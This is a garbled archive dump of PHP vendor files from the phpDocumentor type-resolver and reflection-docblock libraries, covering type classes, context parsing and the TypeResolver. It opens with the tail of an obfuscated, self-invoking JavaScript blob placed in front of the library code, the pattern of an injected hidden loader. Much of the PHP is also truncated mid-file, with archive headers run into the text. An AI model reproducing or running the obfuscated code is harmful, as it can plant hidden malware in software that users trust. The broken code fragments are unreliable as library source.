07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpdocumentor/reflection-docblock", "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.", "type": "library", "license": "MIT", "authors": [ { "name": "Mike van Riel", "email": "me@mikevanriel.com" }, { "name": "Jaap van Otterdijk", "email": "account@ijaap.nl" } ], "require": { "php": "^7.2 || ^8.0", "phpdocumentor/type-resolver": "^1.3", "webmozart/assert": "^1.9.1", "phpdocumentor/reflection-common": "^2.2", "ext-filter": "*" }, "require-dev": { "mockery/mockery": "~1.3.2", "psalm/phar": "^4.8" }, "autoload": { "psr-4": { "phpDocumentor\\Reflection\\": "src" } }, "autoload-dev": { "psr-4": { "phpDocumentor\\Reflection\\": ["tests/unit", "tests/integration"] } }, "extra": { "branch-alias": { "dev-master": "5.x-dev" } } } res/readability/vendor/phpdocumentor/type-resolver/src/PseudoTypes/PositiveInteger.php000064400000001474147577714370025572 0ustar00minValue = $minValue; $this->maxValue = $maxValue; } public function underlyingType(): Type { return new Integer(); } public function getMinValue(): string { return $this->minValue; } public function getMaxValue(): string { return $this->maxValue; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { return 'int<' . $this->minValue . ', ' . $this->maxValue . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/PseudoTypes/List_.php000064400000002157147577714370023523 0ustar00valueType instanceof Mixed_) { return 'list'; } return 'list<' . $this->valueType . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/PseudoTypes/NumericString.php000064400000001477147577714370025246 0ustar00fqsen = $fqsen; } public function underlyingType(): Type { return new String_(); } /** * Returns the FQSEN associated with this object. */ public function getFqsen(): ?Fqsen { return $this->fqsen; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { if ($this->fqsen === null) { return 'class-string'; } return 'class-string<' . (string) $this->fqsen . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Resource_.php000064400000001160147577714370023210 0ustar00` * 2. `ACollectionObject` * * - ACollectionObject can be 'array' or an object that can act as an array * - aValueType and aKeyType can be any type expression * * @psalm-immutable */ final class Collection extends AbstractList { /** @var Fqsen|null */ private $fqsen; /** * Initializes this representation of an array with the given Type or Fqsen. */ public function __construct(?Fqsen $fqsen, Type $valueType, ?Type $keyType = null) { parent::__construct($valueType, $keyType); $this->fqsen = $fqsen; } /** * Returns the FQSEN associated with this object. */ public function getFqsen(): ?Fqsen { return $this->fqsen; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { $objectType = (string) ($this->fqsen ?? 'object'); if ($this->keyType === null) { return $objectType . '<' . $this->valueType . '>'; } return $objectType . '<' . $this->keyType . ',' . $this->valueType . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Nullable.php000064400000002105147577714370023020 0ustar00realType = $realType; } /** * Provide access to the actual type directly, if needed. */ public function getActualType(): Type { return $this->realType; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { return '?' . $this->realType->__toString(); } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/InterfaceString.php000064400000002236147577714370024356 0ustar00fqsen = $fqsen; } /** * Returns the FQSEN associated with this object. */ public function getFqsen(): ?Fqsen { return $this->fqsen; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { if ($this->fqsen === null) { return 'interface-string'; } return 'interface-string<' . (string) $this->fqsen . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/ArrayKey.php000064400000001606147577714370023016 0ustar00 */ abstract class AggregatedType implements Type, IteratorAggregate { /** * @psalm-allow-private-mutation * @var array */ private $types = []; /** @var string */ private $token; /** * @param array $types */ public function __construct(array $types, string $token) { foreach ($types as $type) { $this->add($type); } $this->token = $token; } /** * Returns the type at the given index. */ public function get(int $index): ?Type { if (!$this->has($index)) { return null; } return $this->types[$index]; } /** * Tests if this compound type has a type with the given index. */ public function has(int $index): bool { return array_key_exists($index, $this->types); } /** * Tests if this compound type contains the given type. */ public function contains(Type $type): bool { foreach ($this->types as $typePart) { // if the type is duplicate; do not add it if ((string) $typePart === (string) $type) { return true; } } return false; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { return implode($this->token, $this->types); } /** * @return ArrayIterator */ public function getIterator(): ArrayIterator { return new ArrayIterator($this->types); } /** * @psalm-suppress ImpureMethodCall */ private function add(Type $type): void { if ($type instanceof self) { foreach ($type->getIterator() as $subType) { $this->add($subType); } return; } // if the type is duplicate; do not add it if ($this->contains($type)) { return; } $this->types[] = $type; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Callable_.php000064400000001154147577714370023123 0ustar00valueType = $valueType; } /** * Returns the value for the keys of this array. */ public function getValueType(): Type { return $this->valueType; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { return '(' . $this->valueType . ')'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Context.php000064400000005744147577714370022722 0ustar00 Fully Qualified Namespace. * @psalm-var array */ private $namespaceAliases; /** * Initializes the new context and normalizes all passed namespaces to be in Qualified Namespace Name (QNN) * format (without a preceding `\`). * * @param string $namespace The namespace where this DocBlock resides in. * @param string[] $namespaceAliases List of namespace aliases => Fully Qualified Namespace. * @psalm-param array $namespaceAliases */ public function __construct(string $namespace, array $namespaceAliases = []) { $this->namespace = $namespace !== 'global' && $namespace !== 'default' ? trim($namespace, '\\') : ''; foreach ($namespaceAliases as $alias => $fqnn) { if ($fqnn[0] === '\\') { $fqnn = substr($fqnn, 1); } if ($fqnn[strlen($fqnn) - 1] === '\\') { $fqnn = substr($fqnn, 0, -1); } $namespaceAliases[$alias] = $fqnn; } $this->namespaceAliases = $namespaceAliases; } /** * Returns the Qualified Namespace Name (thus without `\` in front) where the associated element is in. */ public function getNamespace(): string { return $this->namespace; } /** * Returns a list of Qualified Namespace Names (thus without `\` in front) that are imported, the keys represent * the alias for the imported Namespace. * * @return string[] * @psalm-return array */ public function getNamespaceAliases(): array { return $this->namespaceAliases; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Mixed_.php000064400000001161147577714370022470 0ustar00 $types */ public function __construct(array $types) { parent::__construct($types, '&'); } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Object_.php000064400000003402147577714370022630 0ustar00fqsen = $fqsen; } /** * Returns the FQSEN associated with this object. */ public function getFqsen(): ?Fqsen { return $this->fqsen; } public function __toString(): string { if ($this->fqsen) { return (string) $this->fqsen; } return 'object'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Compound.php000064400000001771147577714370023056 0ustar00 $types */ public function __construct(array $types) { parent::__construct($types, '|'); } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/AbstractList.php000064400000003571147577714370023671 0ustar00valueType = $valueType; $this->defaultKeyType = new Compound([new String_(), new Integer()]); $this->keyType = $keyType; } /** * Returns the type for the keys of this array. */ public function getKeyType(): Type { return $this->keyType ?? $this->defaultKeyType; } /** * Returns the value for the keys of this array. */ public function getValueType(): Type { return $this->valueType; } /** * Returns a rendered output of the Type as it would be used in a DocBlock. */ public function __toString(): string { if ($this->keyType) { return 'array<' . $this->keyType . ',' . $this->valueType . '>'; } if ($this->valueType instanceof Mixed_) { return 'array'; } if ($this->valueType instanceof Compound) { return '(' . $this->valueType . ')[]'; } return $this->valueType . '[]'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Parent_.php000064400000001325147577714370022655 0ustar00keyType) { return 'iterable<' . $this->keyType . ',' . $this->valueType . '>'; } if ($this->valueType instanceof Mixed_) { return 'iterable'; } return 'iterable<' . $this->valueType . '>'; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/This.php000064400000001512147577714370022172 0ustar00 $reflector */ return $this->createFromReflectionClass($reflector); } if ($reflector instanceof ReflectionParameter) { return $this->createFromReflectionParameter($reflector); } if ($reflector instanceof ReflectionMethod) { return $this->createFromReflectionMethod($reflector); } if ($reflector instanceof ReflectionProperty) { return $this->createFromReflectionProperty($reflector); } if ($reflector instanceof ReflectionClassConstant) { return $this->createFromReflectionClassConstant($reflector); } throw new UnexpectedValueException('Unhandled \Reflector instance given: ' . get_class($reflector)); } private function createFromReflectionParameter(ReflectionParameter $parameter): Context { $class = $parameter->getDeclaringClass(); if (!$class) { throw new InvalidArgumentException('Unable to get class of ' . $parameter->getName()); } return $this->createFromReflectionClass($class); } private function createFromReflectionMethod(ReflectionMethod $method): Context { $class = $method->getDeclaringClass(); return $this->createFromReflectionClass($class); } private function createFromReflectionProperty(ReflectionProperty $property): Context { $class = $property->getDeclaringClass(); return $this->createFromReflectionClass($class); } private function createFromReflectionClassConstant(ReflectionClassConstant $constant): Context { //phpcs:ignore SlevomatCodingStandard.Commenting.InlineDocCommentDeclaration.MissingVariable /** @phpstan-var ReflectionClass $class */ $class = $constant->getDeclaringClass(); return $this->createFromReflectionClass($class); } /** * @phpstan-param ReflectionClass $class */ private function createFromReflectionClass(ReflectionClass $class): Context { $fileName = $class->getFileName(); $namespace = $class->getNamespaceName(); if (is_string($fileName) && file_exists($fileName)) { $contents = file_get_contents($fileName); if ($contents === false) { throw new RuntimeException('Unable to read file "' . $fileName . '"'); } return $this->createForNamespace($namespace, $contents); } return new Context($namespace, []); } /** * Build a Context for a namespace in the provided file contents. * * @see Context for more information on Contexts. * * @param string $namespace It does not matter if a `\` precedes the namespace name, * this method first normalizes. * @param string $fileContents The file's contents to retrieve the aliases from with the given namespace. */ public function createForNamespace(string $namespace, string $fileContents): Context { $namespace = trim($namespace, '\\'); $useStatements = []; $currentNamespace = ''; $tokens = new ArrayIterator(token_get_all($fileContents)); while ($tokens->valid()) { $currentToken = $tokens->current(); switch ($currentToken[0]) { case T_NAMESPACE: $currentNamespace = $this->parseNamespace($tokens); break; case T_CLASS: // Fast-forward the iterator through the class so that any // T_USE tokens found within are skipped - these are not // valid namespace use statements so should be ignored. $braceLevel = 0; $firstBraceFound = false; while ($tokens->valid() && ($braceLevel > 0 || !$firstBraceFound)) { $currentToken = $tokens->current(); if ( $currentToken === '{' || in_array($currentToken[0], [T_CURLY_OPEN, T_DOLLAR_OPEN_CURLY_BRACES], true) ) { if (!$firstBraceFound) { $firstBraceFound = true; } ++$braceLevel; } if ($currentToken === '}') { --$braceLevel; } $tokens->next(); } break; case T_USE: if ($currentNamespace === $namespace) { $useStatements += $this->parseUseStatement($tokens); } break; } $tokens->next(); } return new Context($namespace, $useStatements); } /** * Deduce the name from tokens when we are at the T_NAMESPACE token. * * @param ArrayIterator $tokens */ private function parseNamespace(ArrayIterator $tokens): string { // skip to the first string or namespace separator $this->skipToNextStringOrNamespaceSeparator($tokens); $name = ''; $acceptedTokens = [T_STRING, T_NS_SEPARATOR, T_NAME_QUALIFIED]; while ($tokens->valid() && in_array($tokens->current()[0], $acceptedTokens, true)) { $name .= $tokens->current()[1]; $tokens->next(); } return $name; } /** * Deduce the names of all imports when we are at the T_USE token. * * @param ArrayIterator $tokens * * @return string[] * @psalm-return array */ private function parseUseStatement(ArrayIterator $tokens): array { $uses = []; while ($tokens->valid()) { $this->skipToNextStringOrNamespaceSeparator($tokens); $uses += $this->extractUseStatements($tokens); $currentToken = $tokens->current(); if ($currentToken[0] === self::T_LITERAL_END_OF_USE) { return $uses; } } return $uses; } /** * Fast-forwards the iterator as longs as we don't encounter a T_STRING or T_NS_SEPARATOR token. * * @param ArrayIterator $tokens */ private function skipToNextStringOrNamespaceSeparator(ArrayIterator $tokens): void { while ($tokens->valid()) { $currentToken = $tokens->current(); if (in_array($currentToken[0], [T_STRING, T_NS_SEPARATOR], true)) { break; } if ($currentToken[0] === T_NAME_QUALIFIED) { break; } if (defined('T_NAME_FULLY_QUALIFIED') && $currentToken[0] === T_NAME_FULLY_QUALIFIED) { break; } $tokens->next(); } } /** * Deduce the namespace name and alias of an import when we are at the T_USE token or have not reached the end of * a USE statement yet. This will return a key/value array of the alias => namespace. * * @param ArrayIterator $tokens * * @return string[] * @psalm-return array * * @psalm-suppress TypeDoesNotContainType */ private function extractUseStatements(ArrayIterator $tokens): array { $extractedUseStatements = []; $groupedNs = ''; $currentNs = ''; $currentAlias = ''; $state = 'start'; while ($tokens->valid()) { $currentToken = $tokens->current(); $tokenId = is_string($currentToken) ? $currentToken : $currentToken[0]; $tokenValue = is_string($currentToken) ? null : $currentToken[1]; switch ($state) { case 'start': switch ($tokenId) { case T_STRING: case T_NS_SEPARATOR: $currentNs .= (string) $tokenValue; $currentAlias = $tokenValue; break; case T_NAME_QUALIFIED: case T_NAME_FULLY_QUALIFIED: $currentNs .= (string) $tokenValue; $currentAlias = substr( (string) $tokenValue, (int) (strrpos((string) $tokenValue, '\\')) + 1 ); break; case T_CURLY_OPEN: case '{': $state = 'grouped'; $groupedNs = $currentNs; break; case T_AS: $state = 'start-alias'; break; case self::T_LITERAL_USE_SEPARATOR: case self::T_LITERAL_END_OF_USE: $state = 'end'; break; default: break; } break; case 'start-alias': switch ($tokenId) { case T_STRING: $currentAlias = $tokenValue; break; case self::T_LITERAL_USE_SEPARATOR: case self::T_LITERAL_END_OF_USE: $state = 'end'; break; default: break; } break; case 'grouped': switch ($tokenId) { case T_STRING: case T_NS_SEPARATOR: $currentNs .= (string) $tokenValue; $currentAlias = $tokenValue; break; case T_AS: $state = 'grouped-alias'; break; case self::T_LITERAL_USE_SEPARATOR: $state = 'grouped'; $extractedUseStatements[(string) $currentAlias] = $currentNs; $currentNs = $groupedNs; $currentAlias = ''; break; case self::T_LITERAL_END_OF_USE: $state = 'end'; break; default: break; } break; case 'grouped-alias': switch ($tokenId) { case T_STRING: $currentAlias = $tokenValue; break; case self::T_LITERAL_USE_SEPARATOR: $state = 'grouped'; $extractedUseStatements[(string) $currentAlias] = $currentNs; $currentNs = $groupedNs; $currentAlias = ''; break; case self::T_LITERAL_END_OF_USE: $state = 'end'; break; default: break; } } if ($state === 'end') { break; } $tokens->next(); } if ($groupedNs !== $currentNs) { $extractedUseStatements[(string) $currentAlias] = $currentNs; } return $extractedUseStatements; } } res/readability/vendor/phpdocumentor/type-resolver/src/Types/Boolean.php000064400000001137147577714370022645 0ustar00isFqsen($fqsen)) { return new Fqsen($fqsen); } return $this->resolvePartialStructuralElementName($fqsen, $context); } /** * Tests whether the given type is a Fully Qualified Structural Element Name. */ private function isFqsen(string $type): bool { return strpos($type, self::OPERATOR_NAMESPACE) === 0; } /** * Resolves a partial Structural Element Name (i.e. `Reflection\DocBlock`) to its FQSEN representation * (i.e. `\phpDocumentor\Reflection\DocBlock`) based on the Namespace and aliases mentioned in the Context. * * @throws InvalidArgumentException When type is not a valid FQSEN. */ private function resolvePartialStructuralElementName(string $type, Context $context): Fqsen { $typeParts = explode(self::OPERATOR_NAMESPACE, $type, 2); $namespaceAliases = $context->getNamespaceAliases(); // if the first segment is not an alias; prepend namespace name and return if (!isset($namespaceAliases[$typeParts[0]])) { $namespace = $context->getNamespace(); if ($namespace !== '') { $namespace .= self::OPERATOR_NAMESPACE; } return new Fqsen(self::OPERATOR_NAMESPACE . $namespace . $type); } $typeParts[0] = $namespaceAliases[$typeParts[0]]; return new Fqsen(self::OPERATOR_NAMESPACE . implode(self::OPERATOR_NAMESPACE, $typeParts)); } } res/readability/vendor/phpdocumentor/type-resolver/src/TypeResolver.php000064400000056263147577714370022637 0ustar00 List of recognized keywords and unto which Value Object they map * @psalm-var array> */ private $keywords = [ 'string' => Types\String_::class, 'class-string' => Types\ClassString::class, 'interface-string' => Types\InterfaceString::class, 'html-escaped-string' => PseudoTypes\HtmlEscapedString::class, 'lowercase-string' => PseudoTypes\LowercaseString::class, 'non-empty-lowercase-string' => PseudoTypes\NonEmptyLowercaseString::class, 'non-empty-string' => PseudoTypes\NonEmptyString::class, 'numeric-string' => PseudoTypes\NumericString::class, 'numeric' => PseudoTypes\Numeric_::class, 'trait-string' => PseudoTypes\TraitString::class, 'int' => Types\Integer::class, 'integer' => Types\Integer::class, 'positive-int' => PseudoTypes\PositiveInteger::class, 'negative-int' => PseudoTypes\NegativeInteger::class, 'bool' => Types\Boolean::class, 'boolean' => Types\Boolean::class, 'real' => Types\Float_::class, 'float' => Types\Float_::class, 'double' => Types\Float_::class, 'object' => Types\Object_::class, 'mixed' => Types\Mixed_::class, 'array' => Types\Array_::class, 'array-key' => Types\ArrayKey::class, 'resource' => Types\Resource_::class, 'void' => Types\Void_::class, 'null' => Types\Null_::class, 'scalar' => Types\Scalar::class, 'callback' => Types\Callable_::class, 'callable' => Types\Callable_::class, 'callable-string' => PseudoTypes\CallableString::class, 'false' => PseudoTypes\False_::class, 'true' => PseudoTypes\True_::class, 'literal-string' => PseudoTypes\LiteralString::class, 'self' => Types\Self_::class, '$this' => Types\This::class, 'static' => Types\Static_::class, 'parent' => Types\Parent_::class, 'iterable' => Types\Iterable_::class, 'never' => Types\Never_::class, 'list' => PseudoTypes\List_::class, ]; /** * @var FqsenResolver * @psalm-readonly */ private $fqsenResolver; /** * Initializes this TypeResolver with the means to create and resolve Fqsen objects. */ public function __construct(?FqsenResolver $fqsenResolver = null) { $this->fqsenResolver = $fqsenResolver ?: new FqsenResolver(); } /** * Analyzes the given type and returns the FQCN variant. * * When a type is provided this method checks whether it is not a keyword or * Fully Qualified Class Name. If so it will use the given namespace and * aliases to expand the type to a FQCN representation. * * This method only works as expected if the namespace and aliases are set; * no dynamic reflection is being performed here. * * @uses Context::getNamespaceAliases() to check whether the first part of the relative type name should not be * replaced with another namespace. * @uses Context::getNamespace() to determine with what to prefix the type name. * * @param string $type The relative or absolute type. */ public function resolve(string $type, ?Context $context = null): Type { $type = trim($type); if (!$type) { throw new InvalidArgumentException('Attempted to resolve "' . $type . '" but it appears to be empty'); } if ($context === null) { $context = new Context(''); } // split the type string into tokens `|`, `?`, `<`, `>`, `,`, `(`, `)`, `[]`, '<', '>' and type names $tokens = preg_split( '/(\\||\\?|<|>|&|, ?|\\(|\\)|\\[\\]+)/', $type, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE ); if ($tokens === false) { throw new InvalidArgumentException('Unable to split the type string "' . $type . '" into tokens'); } /** @var ArrayIterator $tokenIterator */ $tokenIterator = new ArrayIterator($tokens); return $this->parseTypes($tokenIterator, $context, self::PARSER_IN_COMPOUND); } /** * Analyse each tokens and creates types * * @param ArrayIterator $tokens the iterator on tokens * @param int $parserContext on of self::PARSER_* constants, indicating * the context where we are in the parsing */ private function parseTypes(ArrayIterator $tokens, Context $context, int $parserContext): Type { $types = []; $token = ''; $compoundToken = '|'; while ($tokens->valid()) { $token = $tokens->current(); if ($token === null) { throw new RuntimeException( 'Unexpected nullable character' ); } if ($token === '|' || $token === '&') { if (count($types) === 0) { throw new RuntimeException( 'A type is missing before a type separator' ); } if ( !in_array($parserContext, [ self::PARSER_IN_COMPOUND, self::PARSER_IN_ARRAY_EXPRESSION, self::PARSER_IN_COLLECTION_EXPRESSION, ], true) ) { throw new RuntimeException( 'Unexpected type separator' ); } $compoundToken = $token; $tokens->next(); } elseif ($token === '?') { if ( !in_array($parserContext, [ self::PARSER_IN_COMPOUND, self::PARSER_IN_ARRAY_EXPRESSION, self::PARSER_IN_COLLECTION_EXPRESSION, ], true) ) { throw new RuntimeException( 'Unexpected nullable character' ); } $tokens->next(); $type = $this->parseTypes($tokens, $context, self::PARSER_IN_NULLABLE); $types[] = new Nullable($type); } elseif ($token === '(') { $tokens->next(); $type = $this->parseTypes($tokens, $context, self::PARSER_IN_ARRAY_EXPRESSION); $token = $tokens->current(); if ($token === null) { // Someone did not properly close their array expression .. break; } $tokens->next(); $resolvedType = new Expression($type); $types[] = $resolvedType; } elseif ($parserContext === self::PARSER_IN_ARRAY_EXPRESSION && isset($token[0]) && $token[0] === ')') { break; } elseif ($token === '<') { if (count($types) === 0) { throw new RuntimeException( 'Unexpected collection operator "<", class name is missing' ); } $classType = array_pop($types); if ($classType !== null) { if ((string) $classType === 'class-string') { $types[] = $this->resolveClassString($tokens, $context); } elseif ((string) $classType === 'int') { $types[] = $this->resolveIntRange($tokens); } elseif ((string) $classType === 'interface-string') { $types[] = $this->resolveInterfaceString($tokens, $context); } else { $types[] = $this->resolveCollection($tokens, $classType, $context); } } $tokens->next(); } elseif ( $parserContext === self::PARSER_IN_COLLECTION_EXPRESSION && ($token === '>' || trim($token) === ',') ) { break; } elseif ($token === self::OPERATOR_ARRAY) { end($types); $last = key($types); if ($last === null) { throw new InvalidArgumentException('Unexpected array operator'); } $lastItem = $types[$last]; if ($lastItem instanceof Expression) { $lastItem = $lastItem->getValueType(); } $types[$last] = new Array_($lastItem); $tokens->next(); } else { $type = $this->resolveSingleType($token, $context); $tokens->next(); if ($parserContext === self::PARSER_IN_NULLABLE) { return $type; } $types[] = $type; } } if ($token === '|' || $token === '&') { throw new RuntimeException( 'A type is missing after a type separator' ); } if (count($types) === 0) { if ($parserContext === self::PARSER_IN_NULLABLE) { throw new RuntimeException( 'A type is missing after a nullable character' ); } if ($parserContext === self::PARSER_IN_ARRAY_EXPRESSION) { throw new RuntimeException( 'A type is missing in an array expression' ); } if ($parserContext === self::PARSER_IN_COLLECTION_EXPRESSION) { throw new RuntimeException( 'A type is missing in a collection expression' ); } } elseif (count($types) === 1) { return current($types); } if ($compoundToken === '|') { return new Compound(array_values($types)); } return new Intersection(array_values($types)); } /** * resolve the given type into a type object * * @param string $type the type string, representing a single type * * @return Type|Array_|Object_ * * @psalm-mutation-free */ private function resolveSingleType(string $type, Context $context): object { switch (true) { case $this->isKeyword($type): return $this->resolveKeyword($type); case $this->isFqsen($type): return $this->resolveTypedObject($type); case $this->isPartialStructuralElementName($type): return $this->resolveTypedObject($type, $context); // @codeCoverageIgnoreStart default: // I haven't got the foggiest how the logic would come here but added this as a defense. throw new RuntimeException( 'Unable to resolve type "' . $type . '", there is no known method to resolve it' ); } // @codeCoverageIgnoreEnd } /** * Adds a keyword to the list of Keywords and associates it with a specific Value Object. * * @psalm-param class-string $typeClassName */ public function addKeyword(string $keyword, string $typeClassName): void { if (!class_exists($typeClassName)) { throw new InvalidArgumentException( 'The Value Object that needs to be created with a keyword "' . $keyword . '" must be an existing class' . ' but we could not find the class ' . $typeClassName ); } $interfaces = class_implements($typeClassName); if ($interfaces === false) { throw new InvalidArgumentException( 'The Value Object that needs to be created with a keyword "' . $keyword . '" must be an existing class' . ' but we could not find the class ' . $typeClassName ); } if (!in_array(Type::class, $interfaces, true)) { throw new InvalidArgumentException( 'The class "' . $typeClassName . '" must implement the interface "phpDocumentor\Reflection\Type"' ); } $this->keywords[$keyword] = $typeClassName; } /** * Detects whether the given type represents a PHPDoc keyword. * * @param string $type A relative or absolute type as defined in the phpDocumentor documentation. * * @psalm-mutation-free */ private function isKeyword(string $type): bool { return array_key_exists(strtolower($type), $this->keywords); } /** * Detects whether the given type represents a relative structural element name. * * @param string $type A relative or absolute type as defined in the phpDocumentor documentation. * * @psalm-mutation-free */ private function isPartialStructuralElementName(string $type): bool { return (isset($type[0]) && $type[0] !== self::OPERATOR_NAMESPACE) && !$this->isKeyword($type); } /** * Tests whether the given type is a Fully Qualified Structural Element Name. * * @psalm-mutation-free */ private function isFqsen(string $type): bool { return strpos($type, self::OPERATOR_NAMESPACE) === 0; } /** * Resolves the given keyword (such as `string`) into a Type object representing that keyword. * * @psalm-mutation-free */ private function resolveKeyword(string $type): Type { $className = $this->keywords[strtolower($type)]; return new $className(); } /** * Resolves the given FQSEN string into an FQSEN object. * * @psalm-mutation-free */ private function resolveTypedObject(string $type, ?Context $context = null): Object_ { return new Object_($this->fqsenResolver->resolve($type, $context)); } /** * Resolves class string * * @param ArrayIterator $tokens */ private function resolveClassString(ArrayIterator $tokens, Context $context): Type { $tokens->next(); $classType = $this->parseTypes($tokens, $context, self::PARSER_IN_COLLECTION_EXPRESSION); if (!$classType instanceof Object_ || $classType->getFqsen() === null) { throw new RuntimeException( $classType . ' is not a class string' ); } $token = $tokens->current(); if ($token !== '>') { if (empty($token)) { throw new RuntimeException( 'class-string: ">" is missing' ); } throw new RuntimeException( 'Unexpected character "' . $token . '", ">" is missing' ); } return new ClassString($classType->getFqsen()); } /** * Resolves integer ranges * * @param ArrayIterator $tokens */ private function resolveIntRange(ArrayIterator $tokens): Type { $tokens->next(); $token = ''; $minValue = null; $maxValue = null; $commaFound = false; $tokenCounter = 0; while ($tokens->valid()) { $tokenCounter++; $token = $tokens->current(); if ($token === null) { throw new RuntimeException( 'Unexpected nullable character' ); } $token = trim($token); if ($token === '>') { break; } if ($token === ',') { $commaFound = true; } if ($commaFound === false && $minValue === null) { if (is_numeric($token) || $token === 'max' || $token === 'min') { $minValue = $token; } } if ($commaFound === true && $maxValue === null) { if (is_numeric($token) || $token === 'max' || $token === 'min') { $maxValue = $token; } } $tokens->next(); } if ($token !== '>') { if (empty($token)) { throw new RuntimeException( 'interface-string: ">" is missing' ); } throw new RuntimeException( 'Unexpected character "' . $token . '", ">" is missing' ); } if ($minValue === null || $maxValue === null || $tokenCounter > 4) { throw new RuntimeException( 'int has not the correct format' ); } return new IntegerRange($minValue, $maxValue); } /** * Resolves class string * * @param ArrayIterator $tokens */ private function resolveInterfaceString(ArrayIterator $tokens, Context $context): Type { $tokens->next(); $classType = $this->parseTypes($tokens, $context, self::PARSER_IN_COLLECTION_EXPRESSION); if (!$classType instanceof Object_ || $classType->getFqsen() === null) { throw new RuntimeException( $classType . ' is not a interface string' ); } $token = $tokens->current(); if ($token !== '>') { if (empty($token)) { throw new RuntimeException( 'interface-string: ">" is missing' ); } throw new RuntimeException( 'Unexpected character "' . $token . '", ">" is missing' ); } return new InterfaceString($classType->getFqsen()); } /** * Resolves the collection values and keys * * @param ArrayIterator $tokens * * @return Array_|Iterable_|Collection */ private function resolveCollection(ArrayIterator $tokens, Type $classType, Context $context): Type { $isArray = ((string) $classType === 'array'); $isIterable = ((string) $classType === 'iterable'); $isList = ((string) $classType === 'list'); // allow only "array", "iterable" or class name before "<" if ( !$isArray && !$isIterable && !$isList && (!$classType instanceof Object_ || $classType->getFqsen() === null) ) { throw new RuntimeException( $classType . ' is not a collection' ); } $tokens->next(); $valueType = $this->parseTypes($tokens, $context, self::PARSER_IN_COLLECTION_EXPRESSION); $keyType = null; $token = $tokens->current(); if ($token !== null && trim($token) === ',' && !$isList) { // if we have a comma, then we just parsed the key type, not the value type $keyType = $valueType; if ($isArray) { // check the key type for an "array" collection. We allow only // strings or integers. if ( !$keyType instanceof ArrayKey && !$keyType instanceof String_ && !$keyType instanceof Integer && !$keyType instanceof Compound ) { throw new RuntimeException( 'An array can have only integers or strings as keys' ); } if ($keyType instanceof Compound) { foreach ($keyType->getIterator() as $item) { if ( !$item instanceof ArrayKey && !$item instanceof String_ && !$item instanceof Integer ) { throw new RuntimeException( 'An array can have only integers or strings as keys' ); } } } } $tokens->next(); // now let's parse the value type $valueType = $this->parseTypes($tokens, $context, self::PARSER_IN_COLLECTION_EXPRESSION); } $token = $tokens->current(); if ($token !== '>') { if (empty($token)) { throw new RuntimeException( 'Collection: ">" is missing' ); } throw new RuntimeException( 'Unexpected character "' . $token . '", ">" is missing' ); } if ($isArray) { return new Array_($valueType, $keyType); } if ($isIterable) { return new Iterable_($valueType, $keyType); } if ($isList) { return new List_($valueType); } if ($classType instanceof Object_) { return $this->makeCollectionFromObject($classType, $valueType, $keyType); } throw new RuntimeException('Invalid $classType provided'); } /** * @psalm-pure */ private function makeCollectionFromObject(Object_ $object, Type $valueType, ?Type $keyType = null): Collection { return new Collection($object->getFqsen(), $valueType, $keyType); } } res/readability/vendor/phpdocumentor/type-resolver/README.md000064400000021651147577714370020144 0ustar00[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) ![](https://github.com/phpdocumentor/typeresolver/workflows/Qa%20workflow/badge.svg?branch=1.x) [![Coveralls Coverage](https://img.shields.io/coveralls/github/phpDocumentor/TypeResolver.svg)](https://coveralls.io/github/phpDocumentor/TypeResolver?branch=1.x) [![Scrutinizer Code Coverage](https://img.shields.io/scrutinizer/coverage/g/phpDocumentor/TypeResolver.svg)](https://scrutinizer-ci.com/g/phpDocumentor/TypeResolver/?branch=1.x) 